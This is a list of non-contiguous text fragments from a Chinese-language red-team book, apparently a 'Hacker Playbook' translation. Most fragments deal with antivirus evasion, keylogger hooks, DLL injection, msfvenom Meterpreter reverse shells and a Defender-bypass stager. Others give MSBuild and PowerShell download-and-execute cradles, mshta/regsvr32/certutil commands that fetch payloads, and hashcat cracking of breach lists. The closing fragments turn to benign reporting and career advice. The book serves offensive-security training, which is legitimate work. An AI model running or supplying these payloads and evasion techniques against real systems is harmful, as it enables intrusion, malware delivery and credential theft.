    {"text": "如果您需要启动假的HostAP、通过另一个天线路由流量、搭建伪造页面、捕获身份验证信息、执行中间人攻击、运行Responder以及其他攻击，Nano是一个完成以上操作的轻量级硬件工具，如图6.13所示。"},
    {"text": "未知 第7章 四分卫突破——规避杀毒软件检测 7.1 为红队行动编写代码 能够成功地将红队和渗透测试人员区分的一个特征是能否适应和了解不同的安全防护机制。"},
    {"text": "在命令提示符中，导航到“C:\\Program Files(x86)\\Microsoft Visual Studio\\2017\\Community\\VC\\Auxiliary\\Build”，需要注意此路径可能会有所不同，具体取决于您的Visual Studio版本。"},
    {"text": "SetWindowsHookEx的函数原型如下所示。 HHOOK WINAPI SetWindowsHookEx( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ); SetWindowsHookEx函数采用整数表示钩子ID、指向函数的指针、句柄模块和线程ID，前两个值很重要。"},
    {"text": "MSDN声明：“此钩子在安装它的线程的上下文中调用。 通过向安装了钩子的线程发送消息来进行调用。 因此，安装钩子的线程必须有一个消息循环。"},
    {"text": "ToAscii输入参数vkCode、一个ScanCode、一个指向键盘状态数组指针、指向接收字母缓冲区的指针，以及uFlags的整数值。 vkCode和ScanCode来自键结构，键盘状态是先前声明的字节数组，用于保存输出的缓冲区，uFlags参数设置为0。"},
    {"text": "int decrypt(const char* string, char result[]){ int key = 6; int len = strlen(string); for(int n = 0; n < len; n++){ int symbol = string[n]; int e_symbol = symbol - key; result[n] = e_symbol; } result[len] = '\\0'; return 0; } 另一种规避杀毒软件的方法是使用函数指针调用User32.dll中的函数，而不是直接调用函数。"},
    {"text": "另一个非常明显的改进是将可执行文件转换为DLL，然后将DLL注入正在运行的进程，使得进程不会显示在任务管理器中。 有一些程序可以显示系统上所有当前加载的DLL，因此注入DLL会更加隐蔽。"},
    {"text": "表7.1 0 shellcode 发送原始shellcode字节到客户端 1 DLL 发送正常DLL文件，客户端反射注入DLL 虽然静荷（shellcode/DLL）可以来自任何类型的命令和控制工具（Metasploit/Meterpreter、Cobalt Strike等），但我们将在示例中使用Meterpreter静荷。"},
    {"text": "msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f c 注意，您必须获取msfvenom输出，并得到原始shellcode（删除引号、换行以及任何不是shellcode的内容）。"},
    {"text": "msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f dll > msf.dll 启动服务器：./thpd ./msf.dll 1 7.3.3 客户端 客户端与服务器的运行方式是相似的，其中客户端为每种消息类型注册处理程序。"},
    {"text": "7.3.4 配置客户端和服务器 大多数客户端的配置都可以在globals.cpp文件中找到，您需要更改的3个主要配置是主机名、端口和数据包持续时间。"},
    {"text": "7.4 重新编译Metasploit/Meterpreter规避杀毒软件和网 络检测 这个话题有些复杂，您很可能在编译过程中遇到一些问题。 有很多值得推荐的工具，如Metasploit/Meterpreter，每个杀毒软件和网络入侵检测（NID）工具都对这些工具进行签名。"},
    {"text": "任何类型的混淆通常都会有一个根签名，可以被发现和检测，杀毒软件在内存特定位置查看特定的字符串，网络设备实施中间人策略对HTTPS通信内容进行检查。"},
    {"text": "https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter。 https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit- Development- Environment。"},
    {"text": "Visual Studio 2013（VS2013）：Visual Studio社区版即可，另外，需要安装C/C ++编译环境。 在Windows中安装LLVM（32位）（安装Visual Studio之后，确保安装LLVM工具链）：可在LLVM官网下载LLVM 6。"},
    {"text": "git clone https://github.com/cyberspacekittens/metasploit-framework。 cd metasploit-framework && git submodule init && git submodule update && cd ..。 git clone https://github.com/cyberspacekittens/metasploit-payloads。 cd metasploit-payloads && git submodule init && git submodule update && cd ..。"},
    {"text": "cd metasploit-framework\\external\\source\\metsvc\\src 使用make编译。 \"C:\\Program Files (x86)\\GnuWin32\\bin\\make.exe\" 将新创建的二进制文件移动到meterpreter文件夹。 copy metsvc.exe ..\\..\\..\\..\\data\\meterpreter\\。 copy metsvc-server.exe ..\\..\\..\\..\\data\\meterpreter\\。"},
    {"text": "copy metasploit-payloads\\c\\meterpreter\\output\\x86* metasploit-framework\\data\\ meterpreter。 copy metasploit-payloads\\c\\meterpreter\\output\\x64* metasploit-framework\\data\\ meterpreter。"},
    {"text": "这是Metasploit的所有功能的基础，在许多杀毒软件解决方案中都有针对Metasploit特定行为的高级签名技术和启发式检测方法，甚至修改shellcode并添加垃圾代码，仍然由于启发式检测而被标记。"},
    {"text": "为了解决这个问题，我们编写了自己的Stage 0，执行同样的功能（在内存中下载和执行）：复制Meterpreter的reverse_https静荷的下载代码，从服务器获取metsrv.dll，然后在内存中存储并执行。"},
    {"text": "在Visual Studio 13中，打开metasploit-payloads\\c\\x64_defender_bypass\\x64_defender_ bypass.vcxproj。 在x64_defender_bypass下有一个settings.h文件。"},
    {"text": "一个名为SharpShooter的工具采用了许多反沙箱技术，James Forshaw编写的DotNetToJScript可用来执行Windows脚本格式的shellcode（CACTUSTORCH工具见GitHub相关网页）。"},
    {"text": "打开一个新终端，创建一个csharp Meterpreter静荷 msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT= 8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp 复制“{”和“}”之间的所有内容，采用字节数组形式提交 为CSharp网络传递提供URI。"},
    {"text": "图7.2 7.6 应用程序白名单规避 我们已经讨论了在不运行PowerShell代码的情况下触发PowerShell的不同方法，但如果您无法在Windows系统上运行自定义二进制文件，该怎么办？"},
    {"text": "图7.4 注意：我确实看到GreatSCT正在“开发”分支（见GitHub中GreatSCT页面的tree/develop子页面）上积极构建，其中包括HTTPS Meterpreter和其他白名单绕过机制。"},
    {"text": "一旦在被攻击的计算机的Windows上具备执行权限，使用命令“C:\\Windows\\Microsoft. NET\\Framework\\v4.0.30319\\MSBuild.exe shellcode.xml”，.NET将开始构建shellcode.xml文件。"},
    {"text": "Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('[PowerShell URL]'); [Parameters]。"},
    {"text": "在Windows中，下载Invoke-Obfuscation PowerShell文件。 加载PowerShell脚本，启动Invoke-Obfuscation。 Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation 设置混淆的PowerShell脚本。"},
    {"text": "虽然目前杀毒软件通常会对操作行为进行标记，但是我们可以使用相同的思路创建二进制文件，直接执行PowerShell恶意软件，无须运行PowerShell.exe。"},
    {"text": "因此，我整理了一个小的Python脚本，该脚本采用PowerShell脚本对所有字符串进行混淆处理（由于仅仅使用少量的脚本进行测试，因此它远达不到生产代码标准）。"},
    {"text": "这就是为什么需要理解防护系统底层的工作原理、编写底层代码来直接与Windows API进行交互而不是使用Shell命令、跳出设备本身进行思考并发挥创造性等非常重要。"},
    {"text": "我们通常可以编写恶意软件规避杀毒软件的检测，即使通过了初次安全防护检测，但是一旦使用类似mimikatz（在内存中）工具或者横向渗透到另一台主机，就会引发警报。"},
    {"text": "use multi/handler set payload windows/meterpreter/reverse_https set LHOST 10.100.100.9 set LPORT 443 set AutoRunScript post/windows/manage/priv_migrate set ExitOnSession false set EnableStageEncoding true exploit -j 运行处理程序。"},
    {"text": "gedit /opt/empire_autoload.rc 添加您需要执行的后渗透模块。 usemodule situational_awareness/network/powerview/get_user execute back usermodule situational_awareness/network/powerview/get_computer execute back 在Empire中加载autoload.rc资源文件，如图8.1所示。 agents autorun /opt/empire_autoload.rc powershell autorun show 图8.1 正如您看到的，当代理回连时，它会自动运行get_user和get_computer PowerShell脚本。"},
    {"text": "8.1.3 Cobalt Strike自动化 Cobalt Strike功能强大的主要原因之一是Aggressor Script。 使用Cobalt Strike的Aggressor Script，您不仅可以配置自动运行样式脚本，而且可以创建非常复杂的攻击。"},
    {"text": "现在，我不想直接提供torrent链接，因为其中包含很多敏感的用户名（或电子邮件）和相关密码，您可以搜索BreachCompilation.tar.bz2查找更多的相关信息。"},
    {"text": "Speed.Dev.#1.....: 59436.3 MH/s (63.16ms) Speed.Dev.#2.....: 58038.3 MH/s (64.70ms) Speed.Dev.#3.....: 59104.4 MH/s (63.55ms) Speed.Dev.#4.....: 59123.0 MH/s (63.52ms) Speed.Dev.#5.....: 58899.7 MH/s (63.74ms) Speed.Dev.#6.....: 59125.8 MH/s (63.51ms) Speed.Dev.#7.....: 59256.3 MH/s (63.36ms) Speed.Dev.#8.....: 59064.5 MH/s (63.56ms) Speed.Dev.#*.....: 472.0 GH/s 对于那些买不起大型GPU设备的人来说，还有其他选择。"},
    {"text": "Speed.Dev.#1.....: 79294.4 MH/s (33.81ms) Speed.Dev.#2.....: 79376.5 MH/s (33.79ms) Speed.Dev.#3.....: 79135.5 MH/s (33.88ms) Speed.Dev.#4.....: 79051.6 MH/s (33.84ms) Speed.Dev.#5.....: 79030.6 MH/s (33.85ms) Speed.Dev.#6.....: 79395.3 MH/s (33.81ms) Speed.Dev.#7.....: 79079.5 MH/s (33.83ms) Speed.Dev.#8.....: 79350.7 MH/s (33.83ms) Speed.Dev.#*.....: 633.7 GH/s NTLM计算总的速度比使用TESLA GPU大约快34%。"},
    {"text": "对于长度为1～7个字符的任何字母、数字或特殊字符（?a），使用攻击模式“brute-force”（-a 3）破解所有7个字符或更少的密码（增量）。"},
    {"text": "第一个文件（40GB_ Unique_File.txt）是一个3.2 GB大小的密码文件，运行大约需要9s。 [hashcat] ./lists/40GB_Unique_File.txt 正如我们所看到的，即使是最大的文件，计算的时间也只需要几秒。"},
    {"text": "[hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule 注意：使用3 GB大小文件设置NSAKEY规则，大约需要7min，而NotSoSecure的“The one rule to rule them all”规则集大约需要20min 我重新使用其他密码字典和规则集组合。"},
    {"text": "[hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a 需要花费大约30min时间完成4个字符的尝试 我们还可以在密码列表的左侧添加字符。"},
    {"text": "[hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt 需要花费大约30min时间完成4个字符的尝试 hashcat应用：hashcat包括很多工具，可以帮助构建更好的密码字典。"},
    {"text": "./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/ comboshortKrak.txt 使用排名靠前的Google 1 000字的列表会产生大约1.4 GB大小的字典文件，因此您必须小心地选择文件的大小。 ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_ 1000.txt > lists/google_top_1000_combo.txt 输入4MB文件，运行combinator，生成的文件大于25 GB的存储空间。"},
    {"text": "Brutescrape - https://github.com/cheetz/brutescrape Burp Word List Extractor -https://portswigger.net/bappstore/21df56baa03d499c 8439018fe075d3d7 接下来，输入所有破解的密码，分析它们并用来创建掩码https://thesprawl.org/ projects/pack/。"},
    {"text": "python ./PACK-0.0.4/statsgen.py hashes.password python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q –o custom-optindex. hcmask 使用新创建的掩码，运行密码破解。"},
    {"text": "图8.2 cd /opt/pipal ./pipal.rb hashes.password 查看密码字典，您可能会发现该公司使用resetme12345作为默认密码，公司可能位于密歇根州（底特律、老虎、足球）。"},
    {"text": "我们在现实生活中见证了WannaCry事件，WannaCry通过SMB共享横向移动，利用“永恒之蓝”漏洞，加密文件，甚至删除了主机系统上的所有备份。"},
    {"text": "一旦恶意软件被执行，它所做的就是扫描主机/网络中的重要文件，将每个文件读入内存，随机交换一个字节，将这些字节发送到命令控制服务器，并包含元数据。"},
    {"text": "$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider –Argument List @([Guid]::NewGuid())。 $EtwProvider.SetValue($null, $EventProvider)。"},
    {"text": "8.6 在Windows中使用命令行从Internet下载文件 如果您通过应用程序漏洞获得执行权限，通过Office文件或PDF获得Shell，那么接下来的步骤可能是下载并执行后续恶意软件。"},
    {"text": "mshta vbscript:Close(Execute(\"GetObject(\"\"script:http://webserver/payload.sct\"\")\"))。 mshta http://webserver/payload.hta。 rundll32.exe javascript:\"..\\mshtml,RunHTMLApplication\";o=GetObject(\"script: http:// webserver/payload.sct\");window.close();。 regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll。 certutil -urlcache -split -f http://webserver/payload payload。 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.dll & C:\\Windows\\Microsoft.NET\\Framework64\\ v4.0.30319\\ InstallUtil/ logfile= /LogToConsole=false /u payload.dll。 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.exe & payload.exe。"},
    {"text": "8.8 在不触及LSASS的情况下获取NTLM散列值 Elad Shamir进行了广泛的研究，并且清楚地分析了如何在不接触LSASS的情况下获取NTLM散列值。"},
    {"text": "您感到压力越来越大，因为您需要进入公司内部，了解公司的布局，获取敏感文件/代码，横向渗透到不同的用户和网络，并最终获取网络空间猫公司的秘密计划。"},
    {"text": "突破的主机信标被激活，开始运行Bloodhound工具，查找本地密码，设置注册表项，捕获mimikatz LSASS密码，运行SPN并转储所有Kerberos票证，当然，还要在计划任务中设置持久性参数。"},
    {"text": "但是，请记住，红队评估的目的是了解蓝队发现恶意攻击的速度有多快（他们没有这些活动），以及蓝队开展应急响应/取证和阻止攻击的时间。"},
    {"text": "因此，最后您要通知蓝队，运行脚本https://github.com/EmpireProject/Empire/blob/master/data/ module_source/trollsploit/Get-RickAstley.ps1，关闭计算机。"},
    {"text": "未知 第10章 赛后——分析报告 在之前的“黑客秘笈”系列图书中，我们介绍了如何编写渗透测试报告，并提供了大量示例模板。这些模板非常适合作为标准的渗透测试行动周总结报告，但不适用于红队行动。正如本书所述，红队的主要任务不在于识别漏洞本身（尽管通常是行动的一部分），而是测试员工安全意识、工具、流程和员工技能。如果您的公司受到演练人员或坏人的攻击并被突破，您会给自己什么样的成绩？我一直反对使用差距评估分数、ISO分数、成熟度模型分数、标准风险分析、热图和类似报告来展示公司安全流程的真实样子。 就个人而言，在红队行动前，我希望看到公司安全防护取得真正的进展。例如，对于使用类似doppelganger的网络钓鱼行动，我们看到公司启用了以下某些功能。 使用DNStwist对与其公司类似的域发出警报。 受信任的外部电子邮件域列表。任何不匹配的外部邮件，都将在最终用户可见的电子邮件中附加标题，表示邮件来自外部（非公司），是未经批准的电子邮件来源。这有助于您的用户更轻松地识别网络诱骗行为。 如果电子邮件中的任何链接来自于代理中未分类的域，那么至少在单击时会提醒用户域未被分类。 禁止Office宏以及附件，强制采用受保护的视图和沙箱机制。 这只是公司可以实施的一些简单的措施，可以有效阻止攻击。 请记住，红队只需要找到一个可能危及环境的安全漏洞。但是，与此同时，蓝队只需要识别攻击者的战术、技术和程序中的一个环节，就可以防止网络被突破。因此，现在的问题是，如果从您的工具中发现攻击者的一个环节，并发出警报，您的应急响应团队多长时间可以发现并做出响应？ 那么红队报告中的内容包括什么？红队仍然是新的领域，目前还没有标准的报告模板，我们可以根据客户的需求进行定制。从我的角度来看，由于我们可能会在整个行动中尝试多次进入某个环境（并且被“抓住”了几次），因此我们希望展示好的与坏的两个方面。 至于行动中记录的内容，许多工具（如Empire和Cobalt Strike）在行动期间都有详细的事件日志，但这些还是远远不够的。在行动中非常有用的方式是，搭建一个简单的网络服务器，记录红队成员执行的每项行动。在行动期间仅收集基本的信息，包括特定事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不愿做记录，网络服务器提供了一种跟踪行动的简单方法，如图10.1所示。 行动结束后，我们搜集所有记录，并将内容组合在一起，形成红队报告，用于讲述故事。红队报告的主要部分可能包括以下几点。 简介/范围：本节需要明确说明行动的目标。例如，客户要求我们获取特定数据，例如域管理员、个人验证信息和IP地址，或者在生产网络服务器中查找标志。 提示：行动中的应急响应/取证团队复盘非常有意义。我们需要识别工具或传感器可能缺少的位置，从而造成无法执行取证或检测恶意行动。因此，我们希望提供命令和控制服务器的IP地址、使用的域名、二进制文件的MD5/SHA1散列值，电子邮件地址和IP地址信息，被钓鱼的被攻击者列表，以及可能有助于应急响应/取证团队开展工作的其他任何信息。 图10.1 攻击时间表：这是红队战役中的一个重要的部分，需要做充分的记录。时间表应充分描述所有主要事件、触发警报的检测时间以及主要的行动步骤。这将允许蓝队对比时间表和记录，查看有什么差距。在真正的攻击中，您能够询问攻击者所做的一切吗？这对防御蓝队非常有帮助。时间轴示例可能如图10.2所示。 图10.2 检测时间（TTD）/缓解时间（TTM）：通常我们可以使用蓝队报告中的TTD/TTM统计数据。总之，我们需要得到蓝队发现每次入侵的时间；扫描事件触发调查之前，经过了多长时间（如果有的话）；蓝队发现网络钓鱼活动需要多长时间。第二部分应讨论采取行动之前的时间统计数据。如果已经识别命令和控制通信或者网络钓鱼攻击，防火墙或DNS服务器阻止该域需要多少时间？我们经常看到公司可能擅长阻止域名，却无法阻止命令和控制服务器使用IP地址通信（反之亦然）。我们希望跟踪事件并且为客户识别事件。另一个重要的TTM衡量标准是他们能否快速隔离确定的突破系统。随着恶意软件变得越来越自动化，我们需要开始利用智能和自动化流程，将系统或网络的一部分与组织的其他部分隔离开。 来自应急响应/取证人员的反馈：我喜欢记录蓝队的反馈，也就是他们从防守的角度如何看待整个行动。我想要了解的是，如果蓝队按照安全防护的规定，由事件牵头人启动调查，管理层深度介入，安全部门与IT部门如何交互促使IT部门改变（防火墙拦截、DNS修改等），以及恐慌或保持冷静的人。 如前所述，红队的目的不是寻找漏洞或破坏环境（尽管这是有趣的部分），红队的目的是提升、改善组织的整体安全流程，并证明组织的安全环境存在某些差距。如今，许多公司对于安全流程过于自信，因此他们不会在被突破之前进行改变。通过红队，我们可以模拟攻击，鼓励做出改变，从而确保不会发生真实的攻击事件。"},
    {"text": "未知 第11章 继续教育 我总是被问到的问题：“我现在该怎么办？我已阅读所有的“黑客秘笈”系列图书，参加了各种培训课程，并参加了很多会议！”。我现在可以给出的最好建议是，您应该开始从小的项目做起，并为安全社区做出贡献。这是真正测试您的技能的好方法。 下面列出了一些可能有用的想法。 设置博客和您自己的GitHub账户 ：您应该写下所有经历和学习内容，并与他人分享这些内容，这确实有益于您个人的成长。通过博客记录您所学习的内容将提高写作的能力，以一种更容易理解的方式解释漏洞/漏洞利用，确保您对内容的理解足够深刻，可以向其他人解释清楚。 您的简历应该是您的GitHub账户 ：我总是告诉我的学生，您的GitHub账户（或博客）应该能够独立存在。无论是各种小的安全项目，例如使得工具变得更高效和更有效，还是您自己的安全项目，您的工作都应该在GitHub上进行介绍。 在当地会议上发言 ：演讲可能会非常令人生畏，但如果您在简历上有演讲经历，您比其他人更容易进入安全领域。从哪里可以找到演讲的机会？我建议您从本地的聚会开始，找到可以参与的组织。这些组织通常很小，每个人都非常友好。如果您在加利福尼亚州南部地区，我创办并且经营LETHAL，这是一个社区性质的免费安全组织，组织成员每月见面一次。无论如何，参与其中！ Bug Bounties ：无论您是攻击者还是防御者，赏金计划都可以真正地帮助您提升能力。HackerOne、BugCrowd和SynAck等Bug赏金计划可以免费注册。您不仅可以正大光明地赚到钱，还可以合法地破解目标网站（当然，需要在计划范围内）。 夺旗竞赛 ：我知道很难抽出时间做所有这些事情，但我总是告诉我的学生：安全不是工作：这是一种生活方式。访问CTFtime.org，挑选一些CTF比赛，在那些周末开始比赛，然后开始攻击。相信我，您在CTF周末可以学到更多的内容，比任何课程都多。 与您的朋友一起建立一个实验室 ：在测试实验室模拟公司环境，如果没有这样的测试环境，则很难在实际场景中开展行动。如果没有这个测试环境，那么在运行各种攻击性工具时，您将无法真正了解背后发生的事情。因此，必须构建一个全面的实验室，其中包含虚拟局域网、活动目录、服务器、GPO、用户和计算机、Linux环境、Puppet、Jenkins，以及您可能看到的所有其他常用工具。 向对手学习 ：对于红队来说，这是一个很重要的因素。我们的行动不应该是理论上的，而是复制另一次真正的攻击。密切关注最新的APT报告，并确保了解对手如何改变他们的攻击方式。 关注“黑客秘笈”系列图书 ：要了解最新的黑客秘笈新闻，请在此订阅thehackerplaybook。 培训 ：如果您正在寻找一些培训，可以访问thehackerplaybook网站。 未知 致谢 本书贡献者 Walter Pearce Kristen Kim Bill Eyler Ann Le Michael Lim Kevin Bang Brett Buerhaus Tony Dow Tom Gadola 特别感谢 Mark Adams Tim Medin（nidem） SpecterOps Gianni Amato Casey Smith（@subTee） Robert David Graham Ben Ten（@Ben0xA） blechschmidt Vincent Yiu（@vysecurity） Jamieson O'Reilly Chris Spehn（@ConsciousHacker） Nikhil Mittal（SamratAshok） Barrett Adams（peewpw） Michael（codingo） Daniel Bohannon Cn33liz （@danielbohannon） Swissky（Swisskyrepo） Sean Metcalf（@PyroTek3） Robin Wood（digininja） @harmj0y TrustedSec Matt Graeber（@mattifestation） David Kennedy（@HackingDave） Matt Nelson（@enigma0x3） FireEye Ruben Boonen（@FuzzySec） Igandx Ben Campbell（@Meatballs ） Alexander Innes（leostat） Andrew Robbins（@_wald0） ActiveBreach（mdsecactivebreach） Raphael Mudge（@rsmudge） bbb31 Daniel Miessler（@DanielMiessler） pentestgeek Gianni Amato（guelfoweb） SECFORCE Ahmed Aboul-Ela（aboul3la） Steve Micallef Lee Baird（leebaird） SpiderLabs Dylan Ayrey（dxa4481） H.D. Moore Rapid7（@rapid7） TheRook Will Schroeder（@harmj0y） Ahmed Aboul-Ela（aboul3la） Ron Bowes（@iagox86） Emilio（epinna） SensePost Dylan Ayrey（dxa4481） Sekirkity George Chatzisofroniou（sophron） Byt3bl33d3r Derv（derv82） Karim Shoair（D4Vinci） Garrett Gee Chris Truncer HackerWarehouse Anshuman Bhartiya LETHAL OJ Reeves n00py Ben Sadeghipour（@nahamsec） Cover"},
    {"text": "第11章 赛后——分析报告 第12章 继续教育 12.1 漏洞悬赏网站 12.2 主要的安全会议 12.3 培训课程 12.4 免费培训 12.5 夺旗挑战 12.6 保持更新 12.6.1 邮件列表 12.6.2 播客 12.7 跟坏小子学习 最后的注意事项 致谢 封底"}
]